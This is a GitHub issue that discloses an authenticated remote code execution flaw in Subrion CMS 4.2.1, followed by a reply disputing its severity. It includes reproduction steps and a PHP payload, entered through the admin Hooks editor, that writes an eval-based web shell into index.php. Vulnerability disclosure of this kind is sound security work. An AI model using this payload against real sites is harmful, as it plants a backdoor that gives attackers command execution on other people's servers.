Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a RCE vulnerability #909

Open
RuntimeBroker opened this issue Oct 26, 2023 · 1 comment
Open

There is a RCE vulnerability #909

RuntimeBroker opened this issue Oct 26, 2023 · 1 comment

Comments

@RuntimeBroker
Copy link

RuntimeBroker commented Oct 26, 2023

There is a remote command execution vulnerability

Affected version

  • subrion 4.2.1 lates

login address

http://127.0.0.1/panel

Find PHP info in the System module

image-20231026102809757

Get the absolute path to the website in phpinfo information

_SERVER["DOCUMENT_ROOT"]

Attack

  1. Select the Hooks field in the System module

image-20231026103342460

  1. Edit sitemapGeneration in Hooks and save

    Get absolute path from PHPinfo above

    _SERVER["DOCUMENT_ROOT"]=F:/phpStudy/PHPTutorial/WWW/subrion_cms_4.2.1/

    At this point we can write webshell into the website’s homepage file index.php

    payload

    fputs(fopen('F:/phpStudy/PHPTutorial/WWW/subrion_cms_4.2.1/index.php','a+'),'@eval($_GET[cmd]);');
    

image-20231026104421861

  1. At this point, we can click the Generate Sitemap function to trigger code execution

2023-10-26 104533

image-20231026104834336

The site generation function is to first write a file, and then perform a syntax check on the written PHP code. If the check passes, the code execution will be triggered.

image-20231026111134512

eval($hook['code']);
  1. We are accessing the website homepage file index.php

2023-10-26 105111

Proposed changes

Filter dangerous functions and content in the content before writing the file

@blockisec
Copy link

blockisec commented Dec 3, 2024

Filter dangerous functions and content in the content before writing the file

so we should not write eval to the file anymore?

Why even search for RCE as admin, just install an extension, that is allowed by design in most CMS - e.g. Wordpress.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants